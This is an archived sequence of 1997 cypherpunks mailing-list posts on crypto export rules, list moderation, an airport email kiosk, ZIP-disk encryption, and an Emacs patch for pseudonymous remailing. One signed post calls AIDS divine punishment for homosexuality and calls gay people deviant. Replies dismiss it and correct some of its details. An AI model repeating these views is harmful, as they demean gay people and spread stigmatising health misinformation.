From: satan_is_a_hacker@juno.com (Lou Zer)
Date: Fri, 24 Jan 1997 18:02:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Comments
Message-ID: <19970124.205910.21590.3.SATAN_is_a_HACKER@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


All comments on my article will be welcome and replied to.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bill Campbell" <wcampbel@peganet.com>
Date: Fri, 24 Jan 1997 18:03:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anyone have info on foreign "ITARS"
Message-ID: <199701250155.UAA03593@mercury.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have any pointers to info about the import/export
restrictions on encryption products in various countries. I know any
such summary would be very dynamic, but perhaps there's something
out there.

Thanks!

=Bill=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 24 Jan 1997 21:22:17 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <Pine.BSD/.3.91.970124155053.1402A-100000@mrburns.iosphere.net>
Message-ID: <32E99854.32B8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote:
> Beauty, flames and censorship are all in the eyes of the beholder.
> However, by providing both "raw" and "cooked" versions of the list, Sandy
> is allowing readers to choose for themselves whether or not they want
> someone else's filters applied to their mailbox.  Personally, I choose to
> press the "Delete" key myself.
> Agreed, and said private individual can do as s/he sees fit.  My only
> objection is that the moderated version has the same name as the original
> list (sounds like Rogers Cable's recent attempt at "Costs More Unless You
> Speak Up Now" channels).

I apologize for intruding, Cynthia, but I have a question about "doing
as s/he sees fit".  For example, what is the list?  Is it the equipment,
is it the software that runs on the equipment, or is it the contents of
the list (my writings, your writings, etc.)?  If I had to rank them, I
would rank the contents as being more important than the equipment or
the software.  That said, how can those contents be considered the
property of the list owner/manager to do with as they see fit?

I do understand that they have the right to manage the list as they see
fit, and to move the messages into whatever buckets seem appropriate,
but your phrasing suggested more to me, and I'm puzzled by it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 24 Jan 1997 23:24:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: testing email from airport kiosk
Message-ID: <3.0.1.32.19970124172459.005ade48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


An update on the SF airport kiosk email machines:
Judging from the headers, there _is_ a Linux machine driving
the laptops, and there's a Metricom ricochet modem
providing the communications path - interesting alternative to wires,
and I guess they don't mind having the extra radio waves in the airport.
It does support anonymous email, in that you can type in
any email address you want, and it doesn't seem to mind.
In addition to limited web, telnet,  and outgoing email, 
it lets you retrieve email with POP3.  Doesn't seem to be a way
to get it to run a program, though :-) 
---------------------------------
Return-Path: <johndoe@airport.sf.na>
Received: from linux.quickaid.com (root@www.quickaid.com [204.188.26.11])
by ixmail4.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
	id VAA18934; Wed, 22 Jan 1997 21:59:22 -0800 (PST)
From: johndoe@airport.sf.na
Received: from SFO-00-6.ricochet.net ([204.254.16.39]) by
linux.quickaid.com (8.6.12/8.6.9) with SMTP id WAA22004 for
<stewarts@ix.netcom.com>; Wed, 22 Jan 1997 22:00:13 -0800
Message-Id: <199701230600.WAA22004@linux.quickaid.com>
Date: Wed, 22 Jan 1997 21:58:40
To: stewarts@ix.netcom.com
Subject: testing email from airport kiosk
X-Mailer: QuickAID Kiosk

who am i


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 24 Jan 1997 23:25:49 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <3.0.1.32.19970124212455.005ade48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:38 PM 1/23/97 -0600, Jim Choate wrote:
>> We here all know that this is right but it's obvious that
>> the language is sliding towards Internet = Web. Most people
>
>Typical modern American attitude, getting it right is too much work so 
>let's lower the benchmark so anyone can be 'right'. 
>You'll be supporting Ebonics next.

One of the points of the Ebonics program is to recognize that
other people don't always speak the same way you do, and that
if you want to communicate with them, you'll be more successful
if you realize it, understand when they're talking in their dialect,
and if you're going to talk back to them in yours, remember to
translate on occasion.  _Regardless_ of whose dialect is "right"
(of course on technical issues, we technical people are right,
but if you've got the hacker nature, treat it as a problem in
social engineering.......)

					Speaker to Marketers





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Fri, 24 Jan 1997 13:34:48 -0800 (PST)
To: aga <cypherpunks@toad.com>
Subject: Re: Homo/bi/sexuals Most Destructive
In-Reply-To: <Pine.LNX.3.95.970116062523.30623C-100000@dhp.com>
Message-ID: <199701242134.OAA23867@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


     aga's original message follows pgp-----

-----BEGIN PGP SIGNED MESSAGE-----

        when AIDS was relatively obscure, I always dismissed AIDS as 
    God's response to homosexuality (and other crimes against nature); 
    i.e. -settlement by a just God.  

        Unfortunately, some of these boy-girls could not keep it among 
    themselves, and the closet queens brought it home.  AIDS replicates     
    asexually, knowing no boundaries.

        I would not wish the disease upon anyone, but if you play, you 
    just might pay --as in "...reap what thy hath sown."  

        One of the saddest commentaries on the entire problem is the 
    man, a Pan-American flight steward, who was identified as carrier 
    #1 by the Communicable Disease Center (CDC) in Atlanta; he died 
    protesting he did not have the disease, nor was he a carrier. The 
    flight steward was still sexually active until his impending death 
    removed even his ability to passively participate. Unfortunately, 
    he was not only in total denial as to the disease and its 
    communicability, but he was also immensely profligate, having 
    surrendered to total licentiousnous.

        To be strongly opposed to homosexuality has nothing to do with 
    bigotry, political correctness, or aberrationist apologists; it is
    an exposition of the natural order among the species.

        and for those who deny God, read Darwin as to the relative 
    rate of survival for deviant and/or abnormal species. 

  ==
  "eschewing my enmity is exemplary,
    even transcending my fraternity.
        --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMukqX704kQrCC2kFAQGsDAQAxAMLt2JwaKqfz1Kw5IMf+EAQnQaoxpzR
LtyTbCEvwhZRymfFwLZPj3P9Ph074ufOv0r/EmntvF2KmTETWM7k8ol5EySGjCbf
2mytxMy5VQiy5TBJWCvnxwdp/UjACtBM1sY8X16UyMLSE0tyzy4k3sF0TmPPkKdG
FUQZzjXwYfQ=
=TNlj
-----END PGP SIGNATURE-----

In <Pine.LNX.3.95.970116062523.30623C-100000@dhp.com>, on 01/16/97 
   at 06:28 AM, aga <aga@dhp.com> said:

+> "Who Are The Patients?
+>    "In the United States, homosexual and bisexual males make up >
+approximately 62 percent of the total patients. The other major group >
+afflicted with AIDS are intravenous drug abusers -- both men and women
+--
+> who constitute 20 percent of the total. . . ."
+> 
+> "ADULTS AND ADOLESCENTS WITH AIDS, 1981-87
+> ==================================  Males  %  Females  %  Both sexes  
+% > Homosexual/bisexual males          50,325 68           0     
+50,325  62 > Intravenous (IV) drug abusers      12,529 17    3,622 52     
+16,151  20 > Homosexual male an IV drug abusers  5,874  8                  
+5,874   7 > Hemophilia/coagulation disorder       751  1       22  0        
+773   1 > Heterosexuals                       1,516  2    2,073 30      
+3,589   4 > Blood transfusion                   1,297  2      747 11      
+2,044   3 > Undetermined (1)                    2,143  3      519  7      
+2,662   3 > TOTAL                              74,435 91    6,983  9     
+81,418 100 >
+=========================================================================
+> "Note:  Provisional data.  Cases with more than one risk factor than
+the > combinations listed are tabulated only in the category listed
+first. > (1) Includes patients on whom risk information is incomplete,
+patients > still under investigation, men reported only to have had
+heterosexual > contact with a prostitute, and patients for whom no
+specific risk was > identified; also includes one health care worker
+who developed AIDS after > a documented needle-stick to blood. Source:
+Centers for Disease Control." >
+=========================================================================
+> Cited in "The Universal Almanac 1990", Andrews and McMeel, 1989. >
+=========================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 24 Jan 1997 19:16:10 -0800 (PST)
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
In-Reply-To: <199701250026.QAA13770@toad.com>
Message-ID: <3.0.1.32.19970124221710.01968f84@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 06:11 PM 1/24/97 -0600, Jim Choate wrote:
>
>Forwarded message:
>
>> Date: Fri, 24 Jan 97 21:33:41 +0000
>> From: "Attila T. Hun" <attila@primenet.com>
>> Subject: Re: Homo/bi/sexuals Most Destructive
>
>Much drivel about AIDS deleted.
>
>>         One of the saddest commentaries on the entire problem is the 
>>     man, a Pan-American flight steward, who was identified as carrier 
>>     #1 by the Communicable Disease Center (CDC) in Atlanta; he died 
>
>The correct term is 'Patient 0'.
>
>                                           


Also he was an Air Canada steward.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMul7M4VO4r4sgSPhAQHe8wP+KB2rk12gJJJozsNH5FKKOi6Gnk5zdggf
N91N/3rOa6c0ZQFdDD9xE887pJe6wl3qER1S9OMeXMemG2J3RuCLWnIGBNcHAN0z
FAMezugL832jzGRwy5ARTNnOYzq3DtgTQpynpo9atZjPMumyI+QQ7Qec8SOO9Nyc
VnG2L9UL2zg=
=QN46
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Jan 1997 20:16:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <199701250424.WAA14604@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From satan_is_a_hacker@juno.com Fri Jan 24 22:06:53 1997
> Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
> Date: Fri, 24 Jan 1997 22:57:52 EST
> 
> YOU ARE BOTH WRONG   THE CORRECT TERM IS INDEX CASE

> >The correct term is 'Patient 0'.

You are welcome to contact the CDC in Georgia and correct their terminology.
I am shure they would appreciate it.

http://www.cdc.gov/ 

Their webpage search capability is temporarily down so you might have to
talk to a real person,

Center for Disease Control and Prevention
1600 Clifton Rd., NE.
Atlanta, GA  30333
404-639-3311

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Jan 1997 20:19:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: overview.htm
Message-ID: <199701250427.WAA14615@einstein>
MIME-Version: 1.0
Content-Type: text/plain



   
     _________________________________________________________________
   
                             OVERVIEW OF HIV/AIDS
                                       
   
     _________________________________________________________________
   
   Some important facts about the evidence that HIV causes AIDS are:
   
     * Tests for HIV antibody in persons with AIDS show that they are
       infected with the virus.
       
       
       
     * HIV has been isolated from persons with AIDS and grown in pure
       culture.
       
       
       
     * Studies of blood transfusion recipients before 1985 documented the
       transmission of HIV to previously uninfected persons who
       subsequently developed AIDS.
       
   
   
   Before the discovery of human immunodeficiency virus (HIV), the virus
   that causes AIDS, epidemiologic studies of AIDS patients' sex partners
   and AIDS cases occurring in blood transfusion recipients before 1985
   clearly showed that the underlying cause of AIDS was an infectious
   agent. Infection with HIV has been the only common factor shared by
   persons with AIDS throughout the world, including homosexual men,
   transfusion recipients, persons with hemophilia, sex partners of
   infected persons, children born to infected women, and health care
   workers who were infected with HIV while on the job, mainly by being
   stuck with a needle used on an HIV-infected patient.
   
   
   
   Although we know that HIV is the cause of AIDS, much remains to be
   known about exactly how HIV causes the immune system to break down.
   Scientists are constantly discovering more information about HIV and
   AIDS. These discoveries help people learn how to stop transmission of
   the virus and help people infected with HIV to live longer, healthier
   lives. One important question to answer is why some people exposed to
   HIV become infected and others do not. Scientists believe it is most
   likely because of how infectious the other person is and how they are
   exposed. For example, more than 90 percent of persons who were exposed
   through an HIV-infected unit of blood became infected. So we know that
   blood-to-blood contact is a very efficient way that HIV is spread. On
   the other hand, many health care workers are splashed with blood or
   bloody body fluids and this type of exposure has caused very few
   occurrences of HIV infection. Researchers know how HIV is spread and
   the ways that people can help protect themselves from being exposed to
   HIV.
   
   
   
   If you have questions about HIV infection and AIDS, please call the
   CDC National AIDS Hotline at the tollfree number, 1-800-342-2437. If
   you wish to write to CDC regarding this subject, please write to the
   CDC National AIDS Clearinghouse, Post Office Box 6003, Rockville,
   Maryland, 20849-6003.
   
   
     _________________________________________________________________
   
        Back to HIV/AIDS Information Return to HIV/AIDS Information
        
        Back to DHAP home page GO BACK TO DHAP HOME PAGE
        
        (with graphics)
        (text only)
        
   
   
   
   
   
     _________________________________________________________________
   
   
    Last Updated: June 13, 1996
    Updated By: Technical Information Activity
    email: hivmail@cidhiv1.em.cdc.gov




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: no_one@nowhere.org
Date: Fri, 24 Jan 1997 19:54:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Homo/bi/sexuals Most Destructive (fwd)
Message-ID: <v03007802af0f32a48bb9@[166.84.253.144]>
MIME-Version: 1.0
Content-Type: text/plain


In article <199701250026.QAA13770@toad.com>, ravage@einstein.ssz.com (Jim
Choate) wrote:

> Much drivel about AIDS deleted.
>
> >         One of the saddest commentaries on the entire problem is the
> >     man, a Pan-American flight steward, who was identified as carrier
> >     #1 by the Communicable Disease Center (CDC) in Atlanta; he died
>
> The correct term is 'Patient 0'.

   And the CDC is the Centers for Disease Control; and it has since found
many, many prior cases of AIDS. These three minor errors are indicative of
Attila's reliability of the subject. Of course, no one at CDC or NIH
believes any of this crap; it was tired a decade ago.

ObCrypto? How to implement RL anonymity protocols for medical treatment?
(Of course I'm stretching it - but "carriers" were the *first* horseman.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Fri, 24 Jan 1997 20:19:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Encrypting ZIP disks
In-Reply-To: <199701242114.NAA07698@toad.com>
Message-ID: <0muMYz200YUf0oJKY0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

"David E. Smith" <dsmith@prairienet.org> writes:
> 7.  Secure sensitive files.
>      To keep sensitive or confidential information safe, store it
>      on a Zip disk and use your Zip Tools software to assign a
>      password that must be used in order to read from or write to
>      the disk.  At work, you can protect sensitive information
>      such as personnel files, company directories, and product
>      plans and designs.  At home, you can secure personal
>      information such as tax records, budgets, and computerized
>      checkbooks.

FWIW (not much), Iomega claims that it can't recover the data on a
password-protected disk. However, they do export those things, so I
doubt it's strong.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMumJOskz/YzIV3P5AQHLZAL+MJhEH/aCbB9BX5R4nY4BIRBOGZw8socG
39D0q+UT8sS3YsMaeL6GqfEo04lsnQwAUWtI0I8/FcqYlWVGxwsOAboK3BZmJz40
y3/GmUz5dUpz0PctKbGYYQj/w6pbt/6z
=mv67
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 00:33:09 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: PSS_sst
Message-ID: <3.0.1.32.19970124215147.00640df8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 00:34:50 -0800 (PST)
To: fuck you <satan_is_a_hacker@juno.com>
Subject: Re: [No Subject:]
Message-ID: <3.0.1.32.19970124215958.0063f008@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi!  It's useful to include a subject line in email so people
can decide whether to read it and have more context for it,
though calling yourself "fuck you" will probably deter a few people.
There are lots of anarchists on the net; you can run into some good
discussions on Usenet on several newsgroups with "anarchy" or "anarchism"
in the titles.  Rec.caves has good underground material......

As far as decryption tools goes, they're pretty closely related
to encryption algorithms.  There's been a discussion, probably on
cryptography@c2.org (subscribe via cryptography-request@c2.org)
though maybe it was on cypherpunks, about designing a screen-saver
DES-cracker.


At 11:47 PM 1/23/97 EST, fuck you wrote:
>If anyone has any text files on the following topics please send them. I
>have many files if any one else needs them.
>
>PGP
>Making decryption tools
>Anarchy
>Satan
>Anything underground
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremey Barrett <jeremey@veriweb.com>
Date: Sat, 25 Jan 1997 03:23:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mailcrypt nym.alias.net support
Message-ID: <199701251117.DAA10089@descartes.veriweb.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For those of you who use mailcrypt (Emacs-PGP interface) for email, I
have hacked in support for pseudonyms ala nym.alias.net. In fact,
the code has nym.alias.net hardcoded for now. I'm gonna add more stuff,
but I'm just letting this out as is.

This patch affects mailcrypt.el and mc-remail.el. I made these changes
to mailcrypt 3.4, so your mileage may vary on other versions. I did
this after the C2 party tonight, so typos and bugs are possible. Please
email me if bugs are found. "This value is not configureable" does not
qualify, I know it's not configureable yet.

(BTW there are a couple functions not used, I was doing it one way, then
changed my way of thinking, but the code is ok so I left it.)


Installing it:

 o cd to your lisp directory

 o cat /path/to/the/patch | patch -p0, or something similar
   (You will need to pgp this message before extracting the patch
    to get rid of the leading "- " on some lines.)

 o recompile the .el files, ala:

   emacs -batch -f batch-byte-compile mc-remail.el
   emacs -batch -f batch-byte-compile mailcrypt.el


Using it:

 o You _must_ have a remailer chain defined. This does not work
   with a single remailer (though a chain of length 1 might work).

 o Compose a message or reply as normal. Once you are done (the message
   would go out without nyms or remailers or anything if you hit
   C-c C-c), hit C-c / n.

 o The first question asks for a remailer chain, it will do completions.

 o The second question asks for the name of your nym. This is assumed
   to be @nym.alias.net, DO NOT include @nym.alias.net. If your nym
   is jimbob@nym.alias.net, just answer jimbob. This does not do 
   completions at the moment. Putting your nym in your .emacs file
   is a bit weird anyway.

 o You will be asked for a signature for your nym's private key.

 o The message will be rewritten to send@nym.alias.net and then
   to the remailer chain you chose.

 o Send it.


Hack the code at will, if you make significant enhancements, please
email patches to me. Of course there is no warranty of any sort, if
it blows up your machine you're out a machine.


I will put this on my web page (http://www.veriweb.com/people/jeremey)
for those that prefer that.

Ok, here's the patch:

- ---------------------------------cut here-----------------------------------
*** mailcrypt.el	Tue Oct 10 12:33:45 1995
- --- /usr/home/jeremey/PGP/mailcrypt-3.4/mailcrypt.el	Sat Jan 25 02:45:27 1997
***************
*** 51,56 ****
- --- 51,57 ----
  (autoload 'mc-sign "mc-toplev" nil t)
  (autoload 'mc-insert-public-key "mc-toplev" nil t)
  (autoload 'mc-remailer-encrypt-for-chain "mc-remail" nil t)
+ (autoload 'mc-remailer-encrypt-for-nym "mc-remail" nil t)
  (autoload 'mc-remailer-insert-response-block "mc-remail" nil t)
  (autoload 'mc-remailer-insert-pseudonym "mc-remail" nil t)
  
***************
*** 101,107 ****
        (define-key mc-write-mode-map "\C-c/b"
  	'mc-remailer-insert-response-block)
        (define-key mc-write-mode-map "\C-c/p"
! 	'mc-remailer-insert-pseudonym)))
  
  (easy-menu-define
   mc-read-mode-menu (if mc-xemacs-p nil (list mc-read-mode-map))
- --- 102,110 ----
        (define-key mc-write-mode-map "\C-c/b"
  	'mc-remailer-insert-response-block)
        (define-key mc-write-mode-map "\C-c/p"
! 	'mc-remailer-insert-pseudonym)
!       (define-key mc-write-mode-map "\C-c/n"
! 	'mc-remailer-encrypt-for-nym)))
  
  (easy-menu-define
   mc-read-mode-menu (if mc-xemacs-p nil (list mc-read-mode-map))
*** mc-remail.el	Wed Oct  4 15:45:56 1995
- --- /usr/home/jeremey/PGP/mailcrypt-3.4/mc-remail.el	Sat Jan 25 02:44:16 1997
***************
*** 378,383 ****
- --- 378,401 ----
  	  (re-search-forward "^$" nil 'move)
  	  (cons (copy-marker start) (copy-marker (point)))))))
  
+ (defun mc-find-nym-from-header (name subject &optional insert)
+   ;; Find the header with a "::" immediately after the
+   ;; mail-header-separator.  Return region enclosing header.  Optional
+   ;; arg INSERT means insert the header if it does not exist already.
+   (save-excursion
+     (goto-char (point-min))
+     (re-search-forward
+      (concat "^" (regexp-quote mail-header-separator) "\n"))
+     (if (or (and (looking-at "From") (forward-line 1))
+ 	    (and insert
+ 		 (progn
+ 		   (insert-before-markers 
+ 		    (concat "From: " name "\nTo: \nSubject:" subject "\n\n"))
+ 		   (forward-line -1))))
+ 	(let ((start (point)))
+ 	  (re-search-forward "^$" nil 'move)
+ 	  (cons (copy-marker start) (copy-marker (point)))))))
+ 
  (defun mc-find-hash-header (&optional insert)
    (save-excursion
      (goto-char (point-min))
***************
*** 400,411 ****
- --- 418,442 ----
  (defsubst mc-replace-main-field (field replacement)
    (mc-replace-field field replacement (mc-find-main-header t)))
  
+ (defsubst mc-nuke-main-field (field)
+   (mc-nuke-field field (mc-find-main-header t)))
+ 
  (defsubst mc-replace-hash-field (field replacement)
    (mc-replace-field field replacement (mc-find-hash-header t)))
  
  (defsubst mc-replace-colon-field (field replacement)
    (mc-replace-field field replacement (mc-find-colon-header t)))
  
+ (defsubst mc-insert-nym-header (replacement)
+   (mc-find-nym-from-header replacement 
+ 			   (cdr (car (mc-get-fields "Subject" 
+ 						    (mc-find-main-header)))) t)
+   (mc-replace-main-field "To" "send@nym.alias.net")
+   (mc-nuke-main-field "Cc")
+   (mc-nuke-main-field "Organization")
+   (mc-nuke-main-field "Subject")
+   (mc-nuke-main-field "From"))
+ 
  (defun mc-recipient-is-remailerp ()
    (let ((to (mc-get-fields "To" (mc-find-main-header))))
      (and to
***************
*** 516,521 ****
- --- 547,568 ----
  	(setq pseudonym (concat pseudonym " <x@x.x>")))
      (mc-replace-colon-field "From" pseudonym)))
  
+ (defun mc-remailer-insert-nym-nym ()
+   "Insert pseudonym as a From field in the hash-mark header.
+ 
+ See the documentation for the variable `mc-remailer-pseudonyms' for
+ more information."
+   (interactive)
+   (let ((completion-ignore-case t)
+ 	pseudonym)
+     (setq pseudonym
+ 	  (cond ((null mc-remailer-pseudonyms)
+ 		 (read-from-minibuffer "Pseudonym: "))
+ 		(t
+ 		 (completing-read "Pseudonym: "
+ 				  (mapcar 'list mc-remailer-pseudonyms)))))
+     (mc-insert-nym-header pseudonym)))
+ 
  ;;}}}
  ;;{{{ Mixmaster support
  (defvar mc-mixmaster-path nil
***************
*** 730,735 ****
- --- 777,826 ----
        (error "Unable to encrypt message to %s"
  	     (mc-remailer-userid remailer)))))
  
+ (defun mc-rewrite-for-nym-internal (nym &optional pause)
+   ;; Rewrite the current mail buffer for nym.alias.net.  This
+   ;; includes pulling down the To: and Subject: headers, changing
+   ;; the To: header, and encrypting to send@nym.alias.net and signing 
+   ;; with the nym's key. This should be used only as part of
+   ;; mc-rewrite-for-nym since it will subsequently chain the message
+   ;; through a set of remailers.
+   (let ((addr "send@nym.alias.net")
+ 	(main-header (mc-find-main-header)))
+ 
+     ;; Move "Subject" lines down.
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (mapcar
+      (function (lambda (f) (insert (car f) ":" (cdr f))))
+      (mc-get-fields "Subject" main-header t))
+     (insert "\n")
+ 
+     ;; Move "To" lines down.
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (mapcar
+      (function (lambda (f) (insert (car f) ":" (cdr f))))
+      (mc-get-fields "To" main-header t))
+ 
+     ;; Insert "From" for nym.alias.net
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (insert (concat "From: " nym "\n"))
+ 
+     (goto-char (car main-header))
+     (insert "To: send@nym.alias.net\n")
+ 
+     (if pause
+ 	(let ((cursor-in-echo-area t))
+ 	  (message "SPC to encrypt for %s : " addr)
+ 	  (read-char-exclusive)))
+     (setq main-header (mc-find-main-header))
+     (goto-char (cdr main-header))
+     (forward-line 1)
+     (let ((mc-encrypt-for-me nil))
+       (mc-encrypt-message "send@nym.alias.net" nil (point) nil 
+ 			  (concat nym "@nym.alias.net") t))))
+ 
  (defun mc-rewrite-for-chain (chain &optional pause)
    ;; Rewrite the current buffer for a chain of remailers.
    ;; CHAIN must be in canonical form.
***************
*** 744,749 ****
- --- 835,856 ----
  	  (mc-rewrite-for-remailer (car chain) pause)
  	(mc-rewrite-for-mixmaster chain pause)))))
  
+ (defun mc-rewrite-for-nym (nym chain &optional pause)
+   ;; Rewrite the current buffer for nym.alias.net through a
+   ;; chain of remailers. CHAIN must be in canonical form.
+   ;; nym is assumed to be the nym's name WITHOUT @nym.alias.net on it.
+   (let (rest)
+     (if mc-mixmaster-path
+ 	(setq rest (mc-mixmaster-skip chain))
+       (setq rest chain))
+     (if (null chain) nil
+       (mc-rewrite-for-nym-internal nym pause)
+       (mc-rewrite-for-chain
+        (if (eq rest chain) (cdr rest) rest) pause)
+       (if (eq rest chain)
+ 	  (mc-rewrite-for-remailer (car chain) pause)
+ 	(mc-rewrite-for-mixmaster chain pause)))))
+ 
  (defun mc-unparse-chain (chain)
    ;; Unparse CHAIN into a string suitable for printing.
    (if (null chain)
***************
*** 782,787 ****
- --- 889,926 ----
  	   (cdr (assoc chain-name chains))
  	   chains))
      (mc-rewrite-for-chain chain pause)
+     (if chain
+ 	(save-excursion
+ 	  (set-buffer buffer)
+ 	  (erase-buffer)
+ 	  (insert "Rewritten for chain `" chain-name "':\n\n"
+ 		  (mc-unparse-chain chain))
+ 	  (message "Done.  See %s buffer for details." mc-buffer-name)))))
+ 
+ ;;}}}
+ 
+ (defun mc-remailer-encrypt-for-nym (&optional pause)
+   "Encrypt message for a nym server, to be resent, prompting for chain to use.
+ 
+ With \\[universal-argument], pause before each encryption."
+   (interactive "P")
+   (let ((chains (mc-remailer-make-chains-alist))
+ 	(buffer (get-buffer-create mc-buffer-name))
+ 	chain-name chain nym)
+     (mc-nuke-field "CC")
+     (mc-nuke-field "Organization")
+     (mc-disallow-field "FCC")
+     (mc-disallow-field "BCC")
+     (setq chain-name
+ 	  (completing-read
+ 	   "Choose a remailer or chain: " chains nil 'strict-match))
+     (setq nym
+ 	  (read-from-minibuffer "Pseudonym: "))
+     (setq chain
+ 	  (mc-remailer-canonicalize-chain
+ 	   (cdr (assoc chain-name chains))
+ 	   chains))
+     (mc-rewrite-for-nym nym chain pause)
      (if chain
  	(save-excursion
  	  (set-buffer buffer)
- ---------------------------------cut here-----------------------------------

- -- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jeremey Barrett
Senior Software Engineer                         jeremey@veriweb.com
VeriWeb Internet Corp.                           http://www.veriweb.com/

PGP Key fingerprint =  3B 42 1E D4 4B 17 0D 80  DC 59 6F 59 04 C3 83 64
PGP Public Key: http://www.veriweb.com/people/jeremey/pgpkey.txt
                
		"less is more."  -- Mies van de Rohe.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBMunrci/fy+vkqMxNAQHpQQQAkN8wQ+/65qsN4326gFRmEMjcwQH1mj2v
/WZGnxyB2ADYlF0AMXfU60NzUO31KZzEbbOu8oX2I0KptXrDGiLYoQ6uerw/W441
1B4uAd2pEztqWwfwyYmLj57meQWJw1IjH7AuF0Mz9NJ7OLEWq+H5CC9w4zwo6u1/
nTrWv396Y6Q=
=jpyn
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 25 Jan 1997 03:05:43 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Rejection policy of the Cypherpunks maiing list
In-Reply-To: <199701241411.GAA25271@toad.com>
Message-ID: <199701250508.FAA01408@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701241411.GAA25271@toad.com>, on 01/24/97 at 09:09 AM,
   Toto <toto@sk.sympatico.ca> said:


>  I would like to point out, however, that anyone who has had their
>posts 'sorted' into the 'flames list' is now a 'known flamer', as
>evidenced by the fact that their post has been designated a 'flame'
>on a list run by a champion of free speech on the electronic
>frontier.

Intresting....

Does a single flame make a flamer??

